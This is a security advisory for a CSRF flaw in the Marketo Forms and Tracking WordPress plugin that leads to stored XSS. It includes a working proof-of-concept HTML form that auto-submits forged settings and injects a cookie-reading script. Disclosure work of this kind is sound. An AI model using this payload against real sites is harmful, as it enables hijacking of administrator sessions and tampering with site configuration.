#VU24385 Cross-site request forgery in Marketo Forms and Tracking
Vulnerability identifier: #VU24385
Vulnerability risk: Low
CVSSv3.1: 5.8 [CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N/E:P/RL:U/RC:C]
CVE-ID:
CWE-ID:
CWE-352
Exploitation vector: Network
Exploit availability: No
Vulnerable software:
Marketo Forms and Tracking
Web applications /
Modules and components for CMS
Vendor: Hutchhouse
Description
The vulnerability allows a remote attacker to perform cross-site request forgery attacks.
The vulnerability exists due to insufficient validation of the HTTP request origin. A remote attacker can trick the victim to visit a specially crafted web page and perform arbitrary actions on behalf of the victim on the vulnerable website.
PoC:
<html>
<form action="https://[host]/wp-admin/admin.php?page=marketo_fat" method="POST" id="csrf">
<input type="text" name="marketo_save" value="true">
<input type="text" name="marketo[marketo_id]" value=""><script>alert(document.cookie)</script>">
<input type="text" name="marketo[marketo_base_url]" value="">
<input type="text" name="marketo[user_id]" value="">
<input type="text" name="marketo[end_point]" value="">
<input type="text" name="marketo[secret]" value="">
<input type="text" name="marketo[popout_title]" value="">
<input type="text" name="marketo[popout_tabtext]" value="">
<input type="text" name="marketo[popout_snippet]" value="">
<input type="text" name="marketo[popout_form]" value="">
</form>
<script>
document.getElementById('csrf').submit();
</script>
</html>Mitigation
Cybersecurity Help is currently unaware of any official solution to address this vulnerability.
Vulnerable software versions
Marketo Forms and Tracking: 1.0.0 - 1.0.2
External links
http://wpvulndb.com/vulnerabilities/10031/
http://zeroauth.ltd/blog/2020/01/17/cve-2020-6849-marketo-forms-and-tracking-wordpress-plugin-vulnerable-to-csrf-leading-to-xss-attack/
Q & A
Can this vulnerability be exploited remotely?
Yes. This vulnerability can be exploited by a remote non-authenticated attacker via the Internet.
Is there known malware, which exploits this vulnerability?
No. We are not aware of malware exploiting this vulnerability. However, proof of concept for this vulnerability is available.
